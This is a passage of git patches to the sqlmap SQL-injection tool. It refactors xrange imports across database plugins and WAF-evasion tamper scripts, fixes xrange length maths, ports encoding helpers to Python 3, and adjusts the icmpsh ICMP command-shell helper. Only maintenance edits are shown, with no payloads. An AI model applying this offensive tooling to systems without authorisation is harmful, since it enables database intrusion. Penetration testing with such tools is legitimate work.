lib.core.convert import utf8encode @@ -86,7 +87,6 @@ from lib.core.settings import UNICODE_ENCODING from lib.core.settings import ROTATING_CHARS from lib.core.wordlist import Wordlist -from lib.utils.xrange import xrange from thirdparty import six from thirdparty.colorama.initialise import init as coloramainit from thirdparty.pydes.pyDes import des diff --git a/lib/utils/hashdb.py b/lib/utils/hashdb.py index 808cf3b9db7..d0189f7256d 100644 --- a/lib/utils/hashdb.py +++ b/lib/utils/hashdb.py @@ -16,6 +16,7 @@ from lib.core.common import serializeObject from lib.core.common import singleTimeWarnMessage from lib.core.common import unserializeObject +from lib.core.compat import xrange from lib.core.data import logger from lib.core.exception import SqlmapConnectionException from lib.core.settings import HASHDB_END_TRANSACTION_RETRIES @@ -25,7 +26,6 @@ from lib.core.settings import UNICODE_ENCODING from lib.core.threads import getCurrentThreadData from lib.core.threads import getCurrentThreadName -from lib.utils.xrange import xrange class HashDB(object): def __init__(self, filepath): diff --git a/lib/utils/pivotdumptable.py b/lib/utils/pivotdumptable.py index f1372ac4f17..902e4d51cf5 100644 --- a/lib/utils/pivotdumptable.py +++ b/lib/utils/pivotdumptable.py @@ -18,6 +18,7 @@ from lib.core.common import singleTimeWarnMessage from lib.core.common import unArrayizeValue from lib.core.common import unsafeSQLIdentificatorNaming +from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -31,7 +32,6 @@ from lib.core.settings import NULL from lib.core.unescaper import unescaper from lib.request import inject -from lib.utils.xrange import xrange def pivotDumpTable(table, colList, count=None, blind=True, alias=None): lengths = {} diff --git a/lib/utils/purge.py b/lib/utils/purge.py index fc4ed95a0ee..ad84ad7950b 100644 --- a/lib/utils/purge.py +++ b/lib/utils/purge.py @@ -12,8 +12,8 @@ import string from lib.core.common import getSafeExString +from lib.core.compat import xrange from lib.core.data import logger -from lib.utils.xrange import xrange def purge(directory): """ diff --git a/plugins/dbms/db2/fingerprint.py b/plugins/dbms/db2/fingerprint.py index 43c81c2f0f4..1a9ae8f902c 100644 --- a/plugins/dbms/db2/fingerprint.py +++ b/plugins/dbms/db2/fingerprint.py @@ -7,6 +7,7 @@ from lib.core.common import Backend from lib.core.common import Format +from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -15,7 +16,6 @@ from lib.core.session import setDbms from lib.core.settings import DB2_ALIASES from lib.request import inject -from lib.utils.xrange import xrange from plugins.generic.fingerprint import Fingerprint as GenericFingerprint class Fingerprint(GenericFingerprint): diff --git a/plugins/dbms/firebird/fingerprint.py b/plugins/dbms/firebird/fingerprint.py index 210f3532917..e491fe1cc28 100644 --- a/plugins/dbms/firebird/fingerprint.py +++ b/plugins/dbms/firebird/fingerprint.py @@ -11,6 +11,7 @@ from lib.core.common import Format from lib.core.common import getUnicode from lib.core.common import randomRange +from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -19,7 +20,6 @@ from lib.core.settings import FIREBIRD_ALIASES from lib.core.settings import METADB_SUFFIX from lib.request import inject -from lib.utils.xrange import xrange from plugins.generic.fingerprint import Fingerprint as GenericFingerprint class Fingerprint(GenericFingerprint): diff --git a/plugins/dbms/h2/syntax.py b/plugins/dbms/h2/syntax.py index d991f625edf..0d7cc45a795 100644 --- a/plugins/dbms/h2/syntax.py +++ b/plugins/dbms/h2/syntax.py @@ -5,7 +5,7 @@ See the file 'LICENSE' for copying permission """ -from lib.utils.xrange import xrange +from lib.core.compat import xrange from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): diff --git a/plugins/dbms/hsqldb/syntax.py b/plugins/dbms/hsqldb/syntax.py index d991f625edf..0d7cc45a795 100644 --- a/plugins/dbms/hsqldb/syntax.py +++ b/plugins/dbms/hsqldb/syntax.py @@ -5,7 +5,7 @@ See the file 'LICENSE' for copying permission """ -from lib.utils.xrange import xrange +from lib.core.compat import xrange from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): diff --git a/plugins/dbms/maxdb/fingerprint.py b/plugins/dbms/maxdb/fingerprint.py index 2388bf012bc..bb56f4bcb64 100644 --- a/plugins/dbms/maxdb/fingerprint.py +++ b/plugins/dbms/maxdb/fingerprint.py @@ -8,6 +8,7 @@ from lib.core.agent import agent from lib.core.common import Backend from lib.core.common import Format +from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -16,7 +17,6 @@ from lib.core.settings import MAXDB_ALIASES from lib.request import inject from lib.request.connect import Connect as Request -from lib.utils.xrange import xrange from plugins.generic.fingerprint import Fingerprint as GenericFingerprint class Fingerprint(GenericFingerprint): diff --git a/plugins/dbms/mssqlserver/enumeration.py b/plugins/dbms/mssqlserver/enumeration.py index b3bee7134df..83703a54e29 100644 --- a/plugins/dbms/mssqlserver/enumeration.py +++ b/plugins/dbms/mssqlserver/enumeration.py @@ -17,6 +17,7 @@ from lib.core.common import singleTimeLogMessage from lib.core.common import unArrayizeValue from lib.core.common import unsafeSQLIdentificatorNaming +from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -28,7 +29,6 @@ from lib.core.exception import SqlmapNoneDataException from lib.core.settings import CURRENT_DB from lib.request import inject -from lib.utils.xrange import xrange from plugins.generic.enumeration import Enumeration as GenericEnumeration from thirdparty import six diff --git a/plugins/dbms/mssqlserver/filesystem.py b/plugins/dbms/mssqlserver/filesystem.py index 0702a893221..7488fe3d1bb 100644 --- a/plugins/dbms/mssqlserver/filesystem.py +++ b/plugins/dbms/mssqlserver/filesystem.py @@ -14,6 +14,7 @@ from lib.core.common import posixToNtSlashes from lib.core.common import randomStr from lib.core.common import readInput +from lib.core.compat import xrange from lib.core.convert import base64encode from lib.core.convert import hexencode from lib.core.data import conf @@ -24,7 +25,6 @@ from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapUnsupportedFeatureException from lib.request import inject -from lib.utils.xrange import xrange from plugins.generic.filesystem import Filesystem as GenericFilesystem diff --git a/plugins/dbms/mssqlserver/syntax.py b/plugins/dbms/mssqlserver/syntax.py index 1cff5e029bf..a2169de3feb 100644 --- a/plugins/dbms/mssqlserver/syntax.py +++ b/plugins/dbms/mssqlserver/syntax.py @@ -5,7 +5,7 @@ See the file 'LICENSE' for copying permission """ -from lib.utils.xrange import xrange +from lib.core.compat import xrange from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): diff --git a/plugins/dbms/mssqlserver/takeover.py b/plugins/dbms/mssqlserver/takeover.py index cde20ca310d..164821b023e 100644 --- a/plugins/dbms/mssqlserver/takeover.py +++ b/plugins/dbms/mssqlserver/takeover.py @@ -8,10 +8,10 @@ import binascii from lib.core.common import Backend +from lib.core.compat import xrange from lib.core.data import logger from lib.core.exception import SqlmapUnsupportedFeatureException from lib.request import inject -from lib.utils.xrange import xrange from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): diff --git a/plugins/dbms/mysql/filesystem.py b/plugins/dbms/mysql/filesystem.py index 81e80dbc81b..9063a470856 100644 --- a/plugins/dbms/mysql/filesystem.py +++ b/plugins/dbms/mysql/filesystem.py @@ -13,6 +13,7 @@ from lib.core.common import pushValue from lib.core.common import randomStr from lib.core.common import singleTimeWarnMessage +from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -26,7 +27,6 @@ from lib.request import inject from lib.request.connect import Connect as Request from lib.techniques.union.use import unionUse -from lib.utils.xrange import xrange from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): diff --git a/plugins/dbms/mysql/fingerprint.py b/plugins/dbms/mysql/fingerprint.py index cc91c50a3bb..aeb9ffb14be 100644 --- a/plugins/dbms/mysql/fingerprint.py +++ b/plugins/dbms/mysql/fingerprint.py @@ -12,6 +12,7 @@ from lib.core.common import getUnicode from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite +from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -21,7 +22,6 @@ from lib.core.session import setDbms from lib.core.settings import MYSQL_ALIASES from lib.request import inject -from lib.utils.xrange import xrange from plugins.generic.fingerprint import Fingerprint as GenericFingerprint class Fingerprint(GenericFingerprint): diff --git a/plugins/dbms/oracle/enumeration.py b/plugins/dbms/oracle/enumeration.py index 6825697fd53..fe03da7058f 100644 --- a/plugins/dbms/oracle/enumeration.py +++ b/plugins/dbms/oracle/enumeration.py @@ -11,6 +11,7 @@ from lib.core.common import isNoneValue from lib.core.common import isNumPosStrValue from lib.core.common import isTechniqueAvailable +from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -21,7 +22,6 @@ from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapNoneDataException from lib.request import inject -from lib.utils.xrange import xrange from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): diff --git a/plugins/dbms/oracle/syntax.py b/plugins/dbms/oracle/syntax.py index fd407fb59f6..3177b3542b6 100644 --- a/plugins/dbms/oracle/syntax.py +++ b/plugins/dbms/oracle/syntax.py @@ -5,7 +5,7 @@ See the file 'LICENSE' for copying permission """ -from lib.utils.xrange import xrange +from lib.core.compat import xrange from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): diff --git a/plugins/dbms/postgresql/filesystem.py b/plugins/dbms/postgresql/filesystem.py index 0b0045e82f6..935afb410c3 100644 --- a/plugins/dbms/postgresql/filesystem.py +++ b/plugins/dbms/postgresql/filesystem.py @@ -8,11 +8,11 @@ import os from lib.core.common import randomInt +from lib.core.compat import xrange from lib.core.data import logger from lib.core.exception import SqlmapUnsupportedFeatureException from lib.core.settings import LOBLKSIZE from lib.request import inject -from lib.utils.xrange import xrange from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): diff --git a/plugins/dbms/sybase/fingerprint.py b/plugins/dbms/sybase/fingerprint.py index 1904f6c58ab..0c62f848f21 100644 --- a/plugins/dbms/sybase/fingerprint.py +++ b/plugins/dbms/sybase/fingerprint.py @@ -8,6 +8,7 @@ from lib.core.common import Backend from lib.core.common import Format from lib.core.common import unArrayizeValue +from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -16,7 +17,6 @@ from lib.core.session import setDbms from lib.core.settings import SYBASE_ALIASES from lib.request import inject -from lib.utils.xrange import xrange from plugins.generic.fingerprint import Fingerprint as GenericFingerprint class Fingerprint(GenericFingerprint): diff --git a/plugins/dbms/sybase/syntax.py b/plugins/dbms/sybase/syntax.py index 533d0ac2ff6..617afb0107c 100644 --- a/plugins/dbms/sybase/syntax.py +++ b/plugins/dbms/sybase/syntax.py @@ -5,7 +5,7 @@ See the file 'LICENSE' for copying permission """ -from lib.utils.xrange import xrange +from lib.core.compat import xrange from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): diff --git a/plugins/generic/filesystem.py b/plugins/generic/filesystem.py index 497eb6964be..abdb53e0539 100644 --- a/plugins/generic/filesystem.py +++ b/plugins/generic/filesystem.py @@ -20,6 +20,7 @@ from lib.core.common import isStackingAvailable from lib.core.common import isTechniqueAvailable from lib.core.common import readInput +from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -31,7 +32,6 @@ from lib.core.settings import TAKEOVER_TABLE_PREFIX from lib.core.settings import UNICODE_ENCODING from lib.request import inject -from lib.utils.xrange import xrange class Filesystem: """ diff --git a/plugins/generic/users.py b/plugins/generic/users.py index e0d7d7ff817..3708a088b6d 100644 --- a/plugins/generic/users.py +++ b/plugins/generic/users.py @@ -21,6 +21,7 @@ from lib.core.common import parsePasswordHash from lib.core.common import readInput from lib.core.common import unArrayizeValue +from lib.core.compat import xrange from lib.core.convert import hexencode from lib.core.data import conf from lib.core.data import kb @@ -42,7 +43,6 @@ from lib.utils.hash import attackCachedUsersPasswords from lib.utils.hash import storeHashesToFile from lib.utils.pivotdumptable import pivotDumpTable -from lib.utils.xrange import xrange class Users: """ diff --git a/tamper/ifnull2casewhenisnull.py b/tamper/ifnull2casewhenisnull.py index 4947da3d3b3..3a222cbdaa0 100644 --- a/tamper/ifnull2casewhenisnull.py +++ b/tamper/ifnull2casewhenisnull.py @@ -5,8 +5,8 @@ See the file 'doc/COPYING' for copying permission """ +from lib.core.compat import xrange from lib.core.enums import PRIORITY -from lib.utils.xrange import xrange __priority__ = PRIORITY.HIGHEST diff --git a/tamper/ifnull2ifisnull.py b/tamper/ifnull2ifisnull.py index 770d6394f19..eb8f61189b6 100644 --- a/tamper/ifnull2ifisnull.py +++ b/tamper/ifnull2ifisnull.py @@ -5,8 +5,8 @@ See the file 'LICENSE' for copying permission """ +from lib.core.compat import xrange from lib.core.enums import PRIORITY -from lib.utils.xrange import xrange __priority__ = PRIORITY.HIGHEST diff --git a/tamper/luanginx.py b/tamper/luanginx.py index 308ed9a3b32..fa1c6853f6b 100644 --- a/tamper/luanginx.py +++ b/tamper/luanginx.py @@ -8,10 +8,10 @@ import string import random +from lib.core.compat import xrange from lib.core.enums import HINT from lib.core.enums import PRIORITY from lib.core.settings import DEFAULT_GET_POST_DELIMITER -from lib.utils.xrange import xrange __priority__ = PRIORITY.NORMAL diff --git a/tamper/plus2concat.py b/tamper/plus2concat.py index 12dcc6ebbce..776a7eec1b7 100644 --- a/tamper/plus2concat.py +++ b/tamper/plus2concat.py @@ -10,9 +10,9 @@ from lib.core.common import singleTimeWarnMessage from lib.core.common import zeroDepthSearch +from lib.core.compat import xrange from lib.core.enums import DBMS from lib.core.enums import PRIORITY -from lib.utils.xrange import xrange __priority__ = PRIORITY.HIGHEST diff --git a/tamper/plus2fnconcat.py b/tamper/plus2fnconcat.py index 693443294d3..121549710cc 100644 --- a/tamper/plus2fnconcat.py +++ b/tamper/plus2fnconcat.py @@ -10,9 +10,9 @@ from lib.core.common import singleTimeWarnMessage from lib.core.common import zeroDepthSearch +from lib.core.compat import xrange from lib.core.enums import DBMS from lib.core.enums import PRIORITY -from lib.utils.xrange import xrange __priority__ = PRIORITY.HIGHEST diff --git a/tamper/randomcase.py b/tamper/randomcase.py index c76452f7b4d..0819521ad42 100644 --- a/tamper/randomcase.py +++ b/tamper/randomcase.py @@ -8,9 +8,9 @@ import re from lib.core.common import randomRange +from lib.core.compat import xrange from lib.core.data import kb from lib.core.enums import PRIORITY -from lib.utils.xrange import xrange __priority__ = PRIORITY.NORMAL diff --git a/tamper/randomcomments.py b/tamper/randomcomments.py index 8717162410f..2a504d3a0a8 100644 --- a/tamper/randomcomments.py +++ b/tamper/randomcomments.py @@ -8,9 +8,9 @@ import re from lib.core.common import randomRange +from lib.core.compat import xrange from lib.core.data import kb from lib.core.enums import PRIORITY -from lib.utils.xrange import xrange __priority__ = PRIORITY.LOW diff --git a/tamper/space2comment.py b/tamper/space2comment.py index 7b82b4178fc..e62bde27693 100644 --- a/tamper/space2comment.py +++ b/tamper/space2comment.py @@ -5,8 +5,8 @@ See the file 'LICENSE' for copying permission """ +from lib.core.compat import xrange from lib.core.enums import PRIORITY -from lib.utils.xrange import xrange __priority__ = PRIORITY.LOW diff --git a/tamper/space2dash.py b/tamper/space2dash.py index 90e941a5fde..e5ab69af231 100644 --- a/tamper/space2dash.py +++ b/tamper/space2dash.py @@ -8,8 +8,8 @@ import random import string +from lib.core.compat import xrange from lib.core.enums import PRIORITY -from lib.utils.xrange import xrange __priority__ = PRIORITY.LOW diff --git a/tamper/space2hash.py b/tamper/space2hash.py index 9b1aa50e6fe..79d8d01fd4a 100644 --- a/tamper/space2hash.py +++ b/tamper/space2hash.py @@ -10,9 +10,9 @@ import string from lib.core.common import singleTimeWarnMessage +from lib.core.compat import xrange from lib.core.enums import DBMS from lib.core.enums import PRIORITY -from lib.utils.xrange import xrange __priority__ = PRIORITY.LOW diff --git a/tamper/space2morecomment.py b/tamper/space2morecomment.py index 848a9dae855..39048cb0ec7 100644 --- a/tamper/space2morecomment.py +++ b/tamper/space2morecomment.py @@ -5,8 +5,8 @@ See the file 'LICENSE' for copying permission """ +from lib.core.compat import xrange from lib.core.enums import PRIORITY -from lib.utils.xrange import xrange __priority__ = PRIORITY.LOW diff --git a/tamper/space2morehash.py b/tamper/space2morehash.py index 93f8b43ebdf..81168258cc6 100644 --- a/tamper/space2morehash.py +++ b/tamper/space2morehash.py @@ -11,11 +11,11 @@ import string from lib.core.common import singleTimeWarnMessage +from lib.core.compat import xrange from lib.core.data import kb from lib.core.enums import DBMS from lib.core.enums import PRIORITY from lib.core.settings import IGNORE_SPACE_AFFECTED_KEYWORDS -from lib.utils.xrange import xrange __priority__ = PRIORITY.LOW diff --git a/tamper/space2mssqlblank.py b/tamper/space2mssqlblank.py index 754955f7170..b78915186f6 100644 --- a/tamper/space2mssqlblank.py +++ b/tamper/space2mssqlblank.py @@ -9,9 +9,9 @@ import random from lib.core.common import singleTimeWarnMessage +from lib.core.compat import xrange from lib.core.enums import DBMS from lib.core.enums import PRIORITY -from lib.utils.xrange import xrange __priority__ = PRIORITY.LOW diff --git a/tamper/space2mssqlhash.py b/tamper/space2mssqlhash.py index f9d6f75d0b0..12f793b551d 100644 --- a/tamper/space2mssqlhash.py +++ b/tamper/space2mssqlhash.py @@ -5,8 +5,8 @@ See the file 'LICENSE' for copying permission """ +from lib.core.compat import xrange from lib.core.enums import PRIORITY -from lib.utils.xrange import xrange __priority__ = PRIORITY.LOW diff --git a/tamper/space2mysqlblank.py b/tamper/space2mysqlblank.py index 83742a180f9..1c7cc6676e3 100644 --- a/tamper/space2mysqlblank.py +++ b/tamper/space2mysqlblank.py @@ -9,9 +9,9 @@ import random from lib.core.common import singleTimeWarnMessage +from lib.core.compat import xrange from lib.core.enums import DBMS from lib.core.enums import PRIORITY -from lib.utils.xrange import xrange __priority__ = PRIORITY.LOW diff --git a/tamper/space2mysqldash.py b/tamper/space2mysqldash.py index 26284e051dd..550ea9a40ba 100644 --- a/tamper/space2mysqldash.py +++ b/tamper/space2mysqldash.py @@ -8,9 +8,9 @@ import os from lib.core.common import singleTimeWarnMessage +from lib.core.compat import xrange from lib.core.enums import DBMS from lib.core.enums import PRIORITY -from lib.utils.xrange import xrange __priority__ = PRIORITY.LOW diff --git a/tamper/space2plus.py b/tamper/space2plus.py index df8ce1c874e..063b6ff23b1 100644 --- a/tamper/space2plus.py +++ b/tamper/space2plus.py @@ -5,8 +5,8 @@ See the file 'LICENSE' for copying permission """ +from lib.core.compat import xrange from lib.core.enums import PRIORITY -from lib.utils.xrange import xrange __priority__ = PRIORITY.LOW diff --git a/tamper/space2randomblank.py b/tamper/space2randomblank.py index e6271cb1e5a..e668292b1e9 100644 --- a/tamper/space2randomblank.py +++ b/tamper/space2randomblank.py @@ -7,8 +7,8 @@ import random +from lib.core.compat import xrange from lib.core.enums import PRIORITY -from lib.utils.xrange import xrange __priority__ = PRIORITY.LOW diff --git a/tamper/unmagicquotes.py b/tamper/unmagicquotes.py index cb86e78201c..2f418ff6bde 100644 --- a/tamper/unmagicquotes.py +++ b/tamper/unmagicquotes.py @@ -7,8 +7,8 @@ import re +from lib.core.compat import xrange from lib.core.enums import PRIORITY -from lib.utils.xrange import xrange __priority__ = PRIORITY.NORMAL diff --git a/tamper/xforwardedfor.py b/tamper/xforwardedfor.py index 4bbbae5f4b1..7bcde63374c 100644 --- a/tamper/xforwardedfor.py +++ b/tamper/xforwardedfor.py @@ -7,8 +7,8 @@ import random +from lib.core.compat import xrange from lib.core.enums import PRIORITY -from lib.utils.xrange import xrange __priority__ = PRIORITY.NORMAL From 015984a7f2e45ab59f3dba2c287d713185c8e60d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Thu, 28 Mar 2019 16:06:34 +0100 Subject: [PATCH 197/800] Minor patch (drei) --- extra/icmpsh/__init__.py | 2 +- extra/icmpsh/icmpsh_m.py | 5 ++--- lib/core/settings.py | 2 +- 3 files changed, 4 insertions(+), 5 deletions(-) diff --git a/extra/icmpsh/__init__.py b/extra/icmpsh/__init__.py index 22e597bace6..1e340fa562b 100644 --- a/extra/icmpsh/__init__.py +++ b/extra/icmpsh/__init__.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python2 +#!/usr/bin/env python # # icmpsh - simple icmp command shell (port of icmpsh-m.pl written in # Perl by Nico Leidecker <nico@leidecker.info>) diff --git a/extra/icmpsh/icmpsh_m.py b/extra/icmpsh/icmpsh_m.py index d28571f0132..df5765b9f9b 100644 --- a/extra/icmpsh/icmpsh_m.py +++ b/extra/icmpsh/icmpsh_m.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python2 +#!/usr/bin/env python # # icmpsh - simple icmp command shell (port of icmpsh-m.pl written in # Perl by Nico Leidecker <nico@leidecker.info>) @@ -22,7 +22,6 @@ import os import select import socket -import subprocess import sys def setNonBlocking(fd): @@ -37,7 +36,7 @@ def setNonBlocking(fd): fcntl.fcntl(fd, fcntl.F_SETFL, flags) def main(src, dst): - if subprocess.mswindows: + if sys.platform == "nt": sys.stderr.write('icmpsh master can only run on Posix systems\n') sys.exit(255) diff --git a/lib/core/settings.py b/lib/core/settings.py index c45f89d5ba1..333c15be792 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -17,7 +17,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.3.72" +VERSION = "1.3.3.73" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From f82f1f912d6312a742ec8906d6f51e57e3eef998 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Thu, 28 Mar 2019 16:32:46 +0100 Subject: [PATCH 198/800] Bug fix --- lib/core/settings.py | 2 +- lib/utils/xrange.py | 16 +++++++++++++++- 2 files changed, 16 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 333c15be792..0dc3bc4c673 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -17,7 +17,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.3.73" +VERSION = "1.3.3.74" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/xrange.py b/lib/utils/xrange.py index 3e4ca31ef98..086e46c3d37 100644 --- a/lib/utils/xrange.py +++ b/lib/utils/xrange.py @@ -12,6 +12,20 @@ class xrange(object): Advanced (re)implementation of xrange (supports slice/copy/etc.) Reference: http://code.activestate.com/recipes/521885-a-pythonic-implementation-of-xrange/ + >>> list(xrange(1, 9)) == range(1, 9) + True + >>> list(xrange(8, 0, -16)) == range(8, 0, -16) + True + >>> list(xrange(0, 8, 16)) == range(0, 8, 16) + True + >>> list(xrange(0, 4, 5)) == range(0, 4, 5) + True + >>> list(xrange(4, 0, 3)) == range(4, 0, 3) + True + >>> list(xrange(0, -3)) == range(0, -3) + True + >>> list(xrange(0, 7, 2)) == range(0, 7, 2) + True >>> foobar = xrange(1, 10) >>> 7 in foobar True @@ -60,7 +74,7 @@ def __len__(self): return self._len() def _len(self): - return max(0, int((self.stop - self.start) // self.step)) + return max(0, 1 + int((self.stop - 1 - self.start) // self.step)) def __contains__(self, value): return (self.start <= value < self.stop) and (value - self.start) % self.step == 0 From f8eed1f3658411d275bf70fac09a241e8059a633 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Thu, 28 Mar 2019 22:45:44 +0100 Subject: [PATCH 199/800] Minor update --- lib/core/convert.py | 39 +++++++++++++++++++++++++-------------- lib/core/settings.py | 2 +- 2 files changed, 26 insertions(+), 15 deletions(-) diff --git a/lib/core/convert.py b/lib/core/convert.py index 16c6d6b55fa..fe8148d161b 100644 --- a/lib/core/convert.py +++ b/lib/core/convert.py @@ -27,7 +27,7 @@ def base64decode(value): 'foobar' """ - return base64.b64decode(value) + return base64.b64decode(unicodeencode(value)) def base64encode(value): """ @@ -37,7 +37,7 @@ def base64encode(value): 'Zm9vYmFy' """ - return base64.b64encode(value) + return base64.b64encode(unicodeencode(value)) def base64pickle(value): """ @@ -89,7 +89,14 @@ def hexdecode(value): """ value = value.lower() - return (value[2:] if value.startswith("0x") else value).decode("hex") + value = value[2:] if value.startswith("0x") else value + + if six.PY2: + retVal = value.decode("hex") + else: + retVal = bytes.fromhex(value) + + return retVal def hexencode(value, encoding=None): """ @@ -99,7 +106,14 @@ def hexencode(value, encoding=None): '666f6f626172' """ - return unicodeencode(value, encoding).encode("hex") + retVal = unicodeencode(value, encoding) + + if six.PY2: + retVal = retVal.encode("hex") + else: + retVal = retVal.hex() + + return retVal def unicodeencode(value, encoding=None): """ @@ -110,11 +124,13 @@ def unicodeencode(value, encoding=None): """ retVal = value - if isinstance(value, unicode): + + if isinstance(value, six.text_type): try: retVal = value.encode(encoding or UNICODE_ENCODING) except UnicodeEncodeError: - retVal = value.encode(UNICODE_ENCODING, "replace") + retVal = value.encode(encoding or UNICODE_ENCODING, "replace") + return retVal def utf8encode(value): @@ -164,13 +180,11 @@ def stdoutencode(data): retVal = None try: - data = data or "" + retVal = unicodeencode(data or "", sys.stdout.encoding) # Reference: http://bugs.python.org/issue1602 if IS_WIN: - output = data.encode(sys.stdout.encoding, "replace") - - if '?' in output and '?' not in data: + if '?' in retVal and '?' not in retVal: warnMsg = "cannot properly display Unicode characters " warnMsg += "inside Windows OS command prompt " warnMsg += "(http://bugs.python.org/issue1602). All " @@ -180,11 +194,8 @@ def stdoutencode(data): warnMsg += "corresponding output files. " singleTimeWarnMessage(warnMsg) - retVal = output - else: - retVal = data.encode(sys.stdout.encoding) except: - retVal = data.encode(UNICODE_ENCODING) if isinstance(data, unicode) else data + retVal = unicodeencode(data or "") return retVal diff --git a/lib/core/settings.py b/lib/core/settings.py index 0dc3bc4c673..a826a705004 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -17,7 +17,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.3.74" +VERSION = "1.3.3.75" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 09be7cb361a09a823c16330a19c76e4ea0bc03bd Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Thu, 28 Mar 2019 22:54:05 +0100 Subject: [PATCH 200/800] Patch for Python 2.6 --- extra/cloak/cloak.py | 2 +- extra/dbgtool/dbgtool.py | 2 +- extra/safe2bin/safe2bin.py | 2 +- lib/core/compat.py | 2 +- lib/core/settings.py | 2 +- thirdparty/beautifulsoup/beautifulsoup.py | 2 +- thirdparty/chardet/eucjpprober.py | 2 +- thirdparty/chardet/mbcharsetprober.py | 2 +- thirdparty/chardet/sjisprober.py | 2 +- thirdparty/chardet/utf8prober.py | 2 +- thirdparty/clientform/clientform.py | 2 +- thirdparty/fcrypt/fcrypt.py | 2 +- thirdparty/gprof2dot/gprof2dot.py | 2 +- thirdparty/xdot/xdot.py | 2 +- 14 files changed, 14 insertions(+), 14 deletions(-) diff --git a/extra/cloak/cloak.py b/extra/cloak/cloak.py index 72f7fe1e2dd..345a061d17d 100644 --- a/extra/cloak/cloak.py +++ b/extra/cloak/cloak.py @@ -17,7 +17,7 @@ from optparse import OptionError from optparse import OptionParser -if sys.version_info.major > 2: +if sys.version_info >= (3, 0): xrange = range def hideAscii(data): diff --git a/extra/dbgtool/dbgtool.py b/extra/dbgtool/dbgtool.py index 6cca8bdc289..2e7bd095d47 100644 --- a/extra/dbgtool/dbgtool.py +++ b/extra/dbgtool/dbgtool.py @@ -34,7 +34,7 @@ def convert(inputFile): fileContent = fp.read() for fileChar in fileContent: - unsignedFileChar = fileChar if sys.version_info.major > 2 else ord(fileChar) + unsignedFileChar = fileChar if sys.version_info >= (3, 0) else ord(fileChar) if unsignedFileChar != 0: counter2 += 1 diff --git a/extra/safe2bin/safe2bin.py b/extra/safe2bin/safe2bin.py index b514c2a2a9a..6ccd9c1fbc0 100644 --- a/extra/safe2bin/safe2bin.py +++ b/extra/safe2bin/safe2bin.py @@ -18,7 +18,7 @@ from optparse import OptionError from optparse import OptionParser -if sys.version_info.major > 2: +if sys.version_info >= (3, 0): xrange = range # Regex used for recognition of hex encoded characters diff --git a/lib/core/compat.py b/lib/core/compat.py index 74895c875e7..f08bfedc2d9 100644 --- a/lib/core/compat.py +++ b/lib/core/compat.py @@ -166,7 +166,7 @@ def whseed(self, a=None): def choose_boundary(): return uuid.uuid4().hex -if sys.version_info.major > 2: +if sys.version_info >= (3, 0): xrange = range else: xrange = xrange diff --git a/lib/core/settings.py b/lib/core/settings.py index a826a705004..e170238f465 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -17,7 +17,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.3.75" +VERSION = 